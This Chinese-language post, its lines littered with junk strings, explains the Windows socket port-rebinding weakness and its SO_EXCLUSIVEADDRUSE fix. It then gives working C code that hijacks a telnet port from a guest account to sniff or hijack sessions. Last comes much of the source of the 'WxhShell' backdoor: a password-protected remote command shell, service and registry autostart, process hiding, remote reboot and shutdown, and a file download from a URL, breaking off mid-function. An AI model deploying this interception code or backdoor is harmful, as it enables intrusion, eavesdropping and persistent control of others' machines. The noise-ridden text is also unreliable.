在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/V46:`V s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8NPt[* Z?G-~3]e saddr.sin_family = AF_INET;
ocAoqjlT[ d
'4c?vC saddr.sin_addr.s_addr = htonl(INADDR_ANY);
a[xEN7L~4D 1A< O
Z> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
z]=A3!H/Y /0!6;PC< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(Pin9^`ALc "%<Oadz ap 这意味着什么?意味着可以进行如下的攻击:
6~&4>2b0f d;:+Xd` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
b0tr)>d h/V0}|b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~${.sD\ KxGK`'E'r 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
P`Anf_ f`RcfYt 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Uj0DX>I r?\hZ* |M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@wYuc{%S P[8`]= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
[US.n+G6 fwf]1@# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;l &mA1+ HMS9_#[kE #include
72&xEx #include
M!,$i #include
_E:]qv #include
Pd%o6~_* DWORD WINAPI ClientThread(LPVOID lpParam);
bMxzJRrNg int main()
B+*F?k[ {
8D;>] > WORD wVersionRequested;
c+_F nA DWORD ret;
gUy >I( WSADATA wsaData;
+[V?3Gdb BOOL val;
xQm!
SOCKADDR_IN saddr;
Tr(w~et SOCKADDR_IN scaddr;
3E+u)f lmB int err;
:p=IZY SOCKET s;
|B;:Ald SOCKET sc;
<S6|$7{1 int caddsize;
(YGJw?] HANDLE mt;
`V$i*{c:# DWORD tid;
FlrLXTx0 wVersionRequested = MAKEWORD( 2, 2 );
Yr,e7da err = WSAStartup( wVersionRequested, &wsaData );
g&\A1H if ( err != 0 ) {
B7fURL
Rqr printf("error!WSAStartup failed!\n");
Z<0M_q9?MO return -1;
'eLO#1Ipf }
U9SByqa1 saddr.sin_family = AF_INET;
3*/y<Z'H &+xNR2"; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"/(J*)%{ |/Ggsfmby saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
<omSK-
T- saddr.sin_port = htons(23);
qYl%v if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1Vp['& {
';^VdR]fk printf("error!socket failed!\n");
GghZ".O return -1;
v<ASkkh> }
h&{9 &D1t val = TRUE;
,*+F*:o(m //SO_REUSEADDR选项就是可以实现端口重绑定的
~ Z=Q+'Hu0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
cD YKvrPY {
^$FHI_ printf("error!setsockopt failed!\n");
AcwLs%'sx return -1;
f2`[skNj }
.Qyq*6T3& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:Z- =1b~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4@u*#Bp`| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Ty}'A(U :3gtc/p t> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
2>Xgo% {
*_}ft-*w ret=GetLastError();
Ovq-rI{ printf("error!bind failed!\n");
A%-*M 'J return -1;
,gVA^]eDh }
0B>hVaj>- listen(s,2);
K63OjR>H while(1)
0>6J - {
@a'Rn caddsize = sizeof(scaddr);
P6!c-\ //接受连接请求
wI'T Je, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Kyq/'9` if(sc!=INVALID_SOCKET)
-lQ8
&eB {
t3}>5cAxy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
NoB)tAvw if(mt==NULL)
jL8.*pfv {
8doKB<#_+= printf("Thread Creat Failed!\n");
08n2TL;EsX break;
bX Q*d_]WT }
W;4rhZEgd }
}R=n!Y$F CloseHandle(mt);
tda#9i[pkH }
-,)&?S closesocket(s);
Sb+^~M WSACleanup();
&xo_93 return 0;
$nUhM|It }
5/F1|N4 DWORD WINAPI ClientThread(LPVOID lpParam)
@SjISZw_ {
&G\Vn,1v SOCKET ss = (SOCKET)lpParam;
s!:'3[7+
SOCKET sc;
$Ypt
/` unsigned char buf[4096];
$M5iU@A SOCKADDR_IN saddr;
M+j V`J! long num;
j^;f {0f DWORD val;
oCg|*
c|+ DWORD ret;
mEeD[dMN //如果是隐藏端口应用的话,可以在此处加一些判断
_C2iP[YwQ{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*'H0%GM saddr.sin_family = AF_INET;
!'8.qs saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R}_B\# Q saddr.sin_port = htons(23);
j#G4A%_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rE$0a-d2B {
8s16yuM printf("error!socket failed!\n");
{e~#6.$: return -1;
$REz{xgA= }
i/E"E7 val = 100;
Y)H~*-vGu if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&OQ37(<_ {
_JNSl2 ret = GetLastError();
1Bp?HyCR return -1;
td JA? }
*eL&fC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
@rI+.X {
"A\h+q- ret = GetLastError();
4zKmoYt return -1;
K~Nx;{{d }
hGh91c;4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
l7 Pn5c {
N iw~0"-V printf("error!socket connect failed!\n");
"'U+T:S closesocket(sc);
+i^@QNOa closesocket(ss);
cZC%W!pT return -1;
2>TOCBB" }
3N c#6VI while(1)
0h/bC)z
{
=\~<##sRJ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
u#!QIQW //如果是嗅探内容的话,可以再此处进行内容分析和记录
#0$fZ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+lC?Vpi^ num = recv(ss,buf,4096,0);
!-rG1VI_S* if(num>0)
mO<1&{qMZ send(sc,buf,num,0);
y/i{6P2`,D else if(num==0)
nl<TM96 break;
|?A:[C#X num = recv(sc,buf,4096,0);
u+EZ"p;o if(num>0)
xnP@h send(ss,buf,num,0);
3D 4-Wo4 else if(num==0)
B^Sxp=~Au break;
Gk:tT1 }
f|f)Kys%5 closesocket(ss);
W% @r closesocket(sc);
7md,!|m return 0 ;
gZq_BY_U }
&~=FXe0S _cvA1Q" O]_a$U*6 ==========================================================
#1fL2nlP*E sU Er?TZ 下边附上一个代码,,WXhSHELL
&_cH9zw@ C(CwsdlP ==========================================================
UOIB}ut
V 56w uk
[) #include "stdafx.h"
qofD@\- QNbV=*F? #include <stdio.h>
Ls<^z@I #include <string.h>
bT>MZK8b #include <windows.h>
aAKwC01? #include <winsock2.h>
B SH2Kq #include <winsvc.h>
*T6*Nxs0k #include <urlmon.h>
ci
4K
Nv; ~aPe?{yIUa #pragma comment (lib, "Ws2_32.lib")
0:I[;Qt #pragma comment (lib, "urlmon.lib")
sGFvSW H^ 'As;R #define MAX_USER 100 // 最大客户端连接数
n)|{tb^ #define BUF_SOCK 200 // sock buffer
V82HO{ D #define KEY_BUFF 255 // 输入 buffer
8;Zz25* hKnAWKb0 #define REBOOT 0 // 重启
~Uw;6VXV1 #define SHUTDOWN 1 // 关机
y>^FKN/ rjK]zD9 #define DEF_PORT 5000 // 监听端口
)E|{.K H2lQ(Y+H #define REG_LEN 16 // 注册表键长度
)Cu2xRr^` #define SVC_LEN 80 // NT服务名长度
ff&jR71E -wa"&Q // 从dll定义API
wKU9I[] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
igx~6G* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
fn#qcZv? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
mUj_V#v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
PctXh, = "7q!u,u // wxhshell配置信息
F[(ocxQZ3 struct WSCFG {
s
Poh\n int ws_port; // 监听端口
n&l(aRoyx char ws_passstr[REG_LEN]; // 口令
?wP/l int ws_autoins; // 安装标记, 1=yes 0=no
]!q>@b char ws_regname[REG_LEN]; // 注册表键名
7Q^p|;~a char ws_svcname[REG_LEN]; // 服务名
j*\oK@ char ws_svcdisp[SVC_LEN]; // 服务显示名
{oSdVRI char ws_svcdesc[SVC_LEN]; // 服务描述信息
Nj;5iy char ws_passmsg[SVC_LEN]; // 密码输入提示信息
nuH=pIq6x int ws_downexe; // 下载执行标记, 1=yes 0=no
6(=B`Z}a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fUMjLA|*I< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}W)b Jxf>!\:AZu };
Vy=P* 3n,jrX75u // default Wxhshell configuration
cO$xT;kK struct WSCFG wscfg={DEF_PORT,
|k$6"dXSO "xuhuanlingzhe",
P!Brw72 1,
)SZzA' "Wxhshell",
QLH!> 9Ch "Wxhshell",
!RP0W "WxhShell Service",
en>n\;U "Wrsky Windows CmdShell Service",
> ^=n|% "Please Input Your Password: ",
~R&rQJJeJ 1,
q68CU~i* "
http://www.wrsky.com/wxhshell.exe",
JC0# pU; "Wxhshell.exe"
{]bmecz };
S B~opN -Uan.#~S // 消息定义模块
)T6:@n^]h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
qt(4?_J char *msg_ws_prompt="\n\r? for help\n\r#>";
uK]-m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5dGfO:Dy_ char *msg_ws_ext="\n\rExit.";
<2d)4@B= char *msg_ws_end="\n\rQuit.";
Pbd[gKX_ char *msg_ws_boot="\n\rReboot...";
5,-g^o7 char *msg_ws_poff="\n\rShutdown...";
)DmydyQ' char *msg_ws_down="\n\rSave to ";
}uNj#Uf ",l6-<s char *msg_ws_err="\n\rErr!";
!Q WNHL char *msg_ws_ok="\n\rOK!";
7t+d+sQ-l _Pno9| char ExeFile[MAX_PATH];
svx7 int nUser = 0;
3-btaG'P HANDLE handles[MAX_USER];
E[WU int OsIsNt;
L3w.<h JH| D SERVICE_STATUS serviceStatus;
W[I$([ SERVICE_STATUS_HANDLE hServiceStatusHandle;
i=L 86Ks p5jR;nOZ%l // 函数声明
!E&l=*lM. int Install(void);
F?$Vx)HI int Uninstall(void);
vf zC2 int DownloadFile(char *sURL, SOCKET wsh);
j,Mbl"P int Boot(int flag);
>?1GJ5]\s void HideProc(void);
udT0`6l; int GetOsVer(void);
fF(AvMsO int Wxhshell(SOCKET wsl);
(/2rj[F& void TalkWithClient(void *cs);
t{>#)5Pqv int CmdShell(SOCKET sock);
ber&!9 int StartFromService(void);
0$ON`Vsu| int StartWxhshell(LPSTR lpCmdLine);
DXG`% <ZMn X~UL$S; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'<3h8\" VOID WINAPI NTServiceHandler( DWORD fdwControl );
,ss"s3 c(uDkX // 数据结构和表定义
wK0x\V6dJ SERVICE_TABLE_ENTRY DispatchTable[] =
(kVY\!UAt {
BYu(a
{wscfg.ws_svcname, NTServiceMain},
>|, <9z`D {NULL, NULL}
W/\pqH };
)H @<A93 <jh7G // 自我安装
-.r"|\1X int Install(void)
yUWc8]9\W {
D_?Tj char svExeFile[MAX_PATH];
~r?tFE*+ HKEY key;
KTt+}-vP^ strcpy(svExeFile,ExeFile);
!zt>& t i6P}MtC1 // 如果是win9x系统,修改注册表设为自启动
g4=C]\1 if(!OsIsNt) {
YO-B|f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e,{k!BXU#' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ysZ(*K
n(? RegCloseKey(key);
'$Z@oCY# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[ )
0JI6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|||m5(`S RegCloseKey(key);
i3mw.`7 return 0;
_YG@P1 }
uB^"A ;0v }
%19~9Tw }
pdm(7^ else {
,}\LC;31, tH&eKM4G // 如果是NT以上系统,安装为系统服务
tvf5b8(Y- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g)\ Tex< if (schSCManager!=0)
P>u2""c {
)5n0P
Zi SC_HANDLE schService = CreateService
\9@}0}%` (
P5h*RV>oS schSCManager,
?mM:oQH+> wscfg.ws_svcname,
X3 1%T" wscfg.ws_svcdisp,
0C.5Qx SERVICE_ALL_ACCESS,
sxA]o| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\pkK
>R SERVICE_AUTO_START,
cuH5f }oc SERVICE_ERROR_NORMAL,
EZ{{p+e^ svExeFile,
5Pq6X NULL,
[L7s(Zs> NULL,
tK[o"?2y NULL,
%,1TAmJfHa NULL,
PYC NULL
P=1Ku|k );
WY QVe_<z: if (schService!=0)
iDX<`) {
50|nQ:u, CloseServiceHandle(schService);
*J]p/<> { CloseServiceHandle(schSCManager);
\a7m!v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
IJKdVb~ strcat(svExeFile,wscfg.ws_svcname);
X.>~DT%0Lm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
n$NM RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`),U+ RegCloseKey(key);
5FuV=Y uc return 0;
A(uo%QE| }
U+#^>}wc }
4"Qb^y CloseServiceHandle(schSCManager);
Xs|d#WbX }
L~e0^X? }
9{U@s *g
%bdO return 1;
@`+\vmfD }
'v^shGI%Ht shL_{} // 自我卸载
[qV/&t|O*h int Uninstall(void)
c%O97J.5b {
aCH;l~+U HKEY key;
!SE `n-/~7 if(!OsIsNt) {
J"<
h#@` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FeS
,TQ4j RegDeleteValue(key,wscfg.ws_regname);
}f_@@#KB? RegCloseKey(key);
^t71${w## if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J @~g> RegDeleteValue(key,wscfg.ws_regname);
o3\^9-jmp RegCloseKey(key);
uPbdzUk$ return 0;
Y@k=m )zE }
3N!v"2!# }
\!jz1`]&{ }
=jh^mD&' else {
Mv/ SU">F nh0gT>a>@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<+r~?X_ if (schSCManager!=0)
8+7*> FD)1 {
`Ix`/k} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
K@DFu5 if (schService!=0)
'AWWdz {
i;/;zG^=_ if(DeleteService(schService)!=0) {
9=6BQ`u CloseServiceHandle(schService);
Nxl#] CloseServiceHandle(schSCManager);
g~,iWoY return 0;
=bP<cC=3b }
,SIGfd CloseServiceHandle(schService);
oiR9NB&< }
(pM&eow} CloseServiceHandle(schSCManager);
^fsC]9NS }
op2Zf?Bx{+ }
-DJ,<f*$ t~dK\>L return 1;
x!W5'DO }
wj0_X;L
LjEMs\P\ // 从指定url下载文件
k >.U ! int DownloadFile(char *sURL, SOCKET wsh)
6Y6t.j0vN. {
w;(=wN\ HRESULT hr;
q&3(yhx char seps[]= "/";
/qwY/^ char *token;
!mWm@}Ujg char *file;
~iiDy;" char myURL[MAX_PATH];
i9rv8"0> char myFILE[MAX_PATH];
Gg
GjBt |7n%8JsY!" strcpy(myURL,sURL);
w(Tr,BFF token=strtok(myURL,seps);
uVhzJu. while(token!=NULL)
-Jv3D$f]a {
DzA'MX file=token;
yn@wce token=strtok(NULL,seps);
(RrC<5" }
})kx#_o]'d Ktt(l-e + GetCurrentDirectory(MAX_PATH,myFILE);
.X(qs 1 strcat(myFILE, "\\");
z19%!k strcat(myFILE, file);
:5&UWL| send(wsh,myFILE,strlen(myFILE),0);
0|K<$e6IH send(wsh,"...",3,0);
90Sras>F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vaHtWz!P if(hr==S_OK)
Voq/0,d return 0;
ps8tr:T^= else
P*}aeu&lnD return 1;
[ g:cG y4 ]5z/ }
z<^LY] }M"])B I
// 系统电源模块
g] ]6) nT int Boot(int flag)
=+?OsH
v {
s S3RK HANDLE hToken;
W?!rqo2SP TOKEN_PRIVILEGES tkp;
K5^zu`19 LH @B\ mS if(OsIsNt) {
iFcSz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6@47%%,} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Wlq3r# tkp.PrivilegeCount = 1;
huyfo1( tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:i
{;
81V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
cD!E.2[ if(flag==REBOOT) {
c05-1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_*{Lha return 0;
`D=d!!1eUi }
2u5\tp?8 else {
9&Y|,&W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E;'{qp return 0;
*}Gys/\!S }
rK}sQ4z= }
kD1Nq~h2 else {
1=9GV+`n if(flag==REBOOT) {
)a'` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0"TPY(n return 0;
'Ox "YE }
#)48dW!n else {
*wd=&Z^19 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
L*|P' return 0;
@;y@Hf'Jv }
[ybK }
o
/1+
}f TXV^f* return 1;
aMkuyqPf{ }
ySDo(EI4 8:*ZuR|~ // win9x进程隐藏模块
7)2Q void HideProc(void)
Rg46V-"d,@ {
Ly2!(,FB. 9`VY)"rJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
:9x]5;ma if ( hKernel != NULL )
i-p,x0th {
f
w)tWJVD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
]c|JxgU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
VQ2'a/s FreeLibrary(hKernel);
GiK,+M"d }
q|s:&&Wf ` l'QAIo return;
7zU~X, }
U,fPG/9 vflC{,{=k> // 获取操作系统版本
>zw@!1{1 int GetOsVer(void)
*}Z {
w~pe?j_F$ OSVERSIONINFO winfo;
oOubqx winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Z0'LD< GetVersionEx(&winfo);
=;)=,+V~q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Buq(L6P9r return 1;
E KN<KnU% else
K&gE4;> return 0;
$83Qd }
T/%Y_.NtU ,VUOsNN4\ // 客户端句柄模块
ux6)K= ] int Wxhshell(SOCKET wsl)
MU `!sb* {
=JPY{'V O SOCKET wsh;
4OO^%`=)M' struct sockaddr_in client;
P%vouC0W DWORD myID;
Zn Rj}y KiE'O{Y while(nUser<MAX_USER)
>Lo'H}[pF {
M)wNu int nSize=sizeof(client);
Rp:I&f$Hk/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(sH4T> if(wsh==INVALID_SOCKET) return 1;
9U3 }_ E(1G!uu< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
CQ Ei(ty if(handles[nUser]==0)
a~JZc<ze closesocket(wsh);
v/$<#2| else
U%#Vz-r nUser++;
4&e<Sc64 }
ma QxU( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
j':<7n/A Pd
`~#! return 0;
xH,e$t#@@~ }
0lOan 4W E)2vkS // 关闭 socket
>lek@euqw void CloseIt(SOCKET wsh)
I)r6*|mz {
e85E+S% closesocket(wsh);
MAX?,-x nUser--;
9q&~!>lt ExitThread(0);
gF293Ez }
q%]5/.J
e~,+rM // 客户端请求句柄
.>_%12> void TalkWithClient(void *cs)
opzlh@R
3 {
_o+OkvhU 8)Vl2z SOCKET wsh=(SOCKET)cs;
W4( char pwd[SVC_LEN];
HB.:/5\ char cmd[KEY_BUFF];
-sDl[ char chr[1];
A5%Now;.cf int i,j;
6-5{7E}/b XI`s M~' while (nUser < MAX_USER) {
Y(T$k9%}+ rF{,]U9` if(wscfg.ws_passstr) {
auY?Cj'"fs if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]1h9:PF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I?\P^f //ZeroMemory(pwd,KEY_BUFF);
v9f%IE4fX i=0;
XGYsTquSe while(i<SVC_LEN) {
m?4HVv 9 *v14c% // 设置超时
ku>Bxau4> fd_set FdRead;
7[R`52pP struct timeval TimeOut;
ALInJ{X FD_ZERO(&FdRead);
am| 81)|a FD_SET(wsh,&FdRead);
8 QI+O` TimeOut.tv_sec=8;
dV*9bDkM/ TimeOut.tv_usec=0;
0dD.xuor int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
hX-^h2eV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
rCA0c8 ICG:4n(, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pk;S"cnk pwd
=chr[0]; GQjU="+
if(chr[0]==0xd || chr[0]==0xa) { m>!o
Yy_
pwd=0; :r:x|[3.
break; .~^A!t
} lD#
yXLaC\
i++; ~~p )_
} }<'ki
;
4Y
G\<Zf
// 如果是非法用户,关闭 socket {8%KO1xB
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HuN_$aP
} 4>B=k
(Bpn9}F-V.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R-4#y%k<
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <p`
F/p-
Dv^M/z2&[
while(1) { k@>(sXs
)hVn/*mH
ZeroMemory(cmd,KEY_BUFF); ys7Tq+
y^
st
T^
// 自动支持客户端 telnet标准 &*Kk>
4
j=0; Q
} 0_}W
while(j<KEY_BUFF) { [8acan+
2l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9sv#TT5V
cmd[j]=chr[0]; &=In
if(chr[0]==0xa || chr[0]==0xd) { ,WoV)L'?
cmd[j]=0; a'>n'Y~E
break; $o)}@TC
} 8ddBQfCY
j++; #B_H/9f(
} :C&6M79k
p<FqK/
// 下载文件 .^ba*qb`{
if(strstr(cmd,"http://")) { ^7*zi_Q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); W}Rzn
if(DownloadFile(cmd,wsh)) !rZZ/M"i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /(%!txSNEt
else CRNt5T>qH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UzV78^:,iD
} '@^mesMG
else { \r3SvBwhFv
diKl}V#u
switch(cmd[0]) { <:StZ{o;
*
COC&
// 帮助 .GCJA`0h
case '?': { nH+wU;M
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8>I4e5Ym
break; od&wfwk(
} dI%N wl%
// 安装 S.U#lAn(
case 'i': { D'UIxc8
if(Install()) |vBy=:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*tn|?%
else |2jA4C2L}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nHLMF7\
break; 4 *.
O%
} P_.AqEH
// 卸载 <(45(6fQ
case 'r': { vI"BNC*Q1
if(Uninstall()) }YU\}T-P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); owA.P-4
else Y44[2 :m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jZe/h#J)[
break; @F|pKf:M+
}
-AB0uMot
// 显示 wxhshell 所在路径 m`tX&K#-
case 'p': { aZq7(pen
char svExeFile[MAX_PATH]; q{L-(!uz7_
strcpy(svExeFile,"\n\r"); xd+aO=)Td
strcat(svExeFile,ExeFile); u!FF{~5cs
send(wsh,svExeFile,strlen(svExeFile),0); F&7^M0x\ O
break; !2.eJ)G
} -^< t%{d
// 重启 q{xF7}i
case 'b': {
JL7;l0#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y/L*0M.<
if(Boot(REBOOT)) 'sa>G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c?Mbyay
else { +u`4@~D#
closesocket(wsh); o"p['m*g
ExitThread(0); nIfp0U*
} Jpn= ^f[rm
break; 8RcLs1n/
} L=I;0Ip9y
// 关机 2~yj
=D27Z
case 'd': { P<LmCYm
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CFu^i|7o
if(Boot(SHUTDOWN)) ~sNBklK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G4\|bwh
else { 5>VX]nE3!
closesocket(wsh); Z4sS;k]}
ExitThread(0); G#1W":|`
} "EZpTy}Ee
break; BxaGBK<k
} 4K|O?MUNS
// 获取shell
|z0% q2(
case 's': { $3cZS
CmdShell(wsh); 8zh o\'
closesocket(wsh); mp*?GeV?M
ExitThread(0); w8`B}Dr23
break; jcRe),
} @qB>qD~WsD
// 退出 G(bl)p^
case 'x': { w,OPM}) il
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PlwM3lrj
CloseIt(wsh); R%`fd *g
break; /RWD\u<l
} 4rpry@1
// 离开 Fv:x>qZr@
case 'q': { ^Iqu ^n?2.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); equi26jhr
closesocket(wsh); v]T?xo~@'
WSACleanup(); ^E".`~R
exit(1); rkz84wDx
break; vTC{
} 4,BJK`{
} 6;(b-Dhi
} #JN4K>_4
i\x@s>@x}
// 提示信息 8=g~+<A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ny2bMj.o
} `$vf 9'\+
} #L&/o9|
Af}o/g
return; |<uBJ-5
} g@Rs.Zq
7JBr{3;eS
// shell模块句柄 v<mSd2B*
int CmdShell(SOCKET sock) apnpy\in
{ #8y"1I=i&
STARTUPINFO si; wn\R|'Rdz
ZeroMemory(&si,sizeof(si)); _v++NyZXx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tqjjn5!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0 1NP
PROCESS_INFORMATION ProcessInfo; >4os%T
char cmdline[]="cmd"; -C* 6>$A
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uavyms^
return 0; {`(MK6D8 c
} S>jOVWB
E%a&6W
// 自身启动模式 Z/ L%?zH
int StartFromService(void) K#VGG,h7Y
{ MeAY\V%G=o
typedef struct n Q{~D5y,,
{ ^AERGB\36
DWORD ExitStatus;
^mN`!+
DWORD PebBaseAddress; 3ug~m-_
DWORD AffinityMask; _nSEp>]L
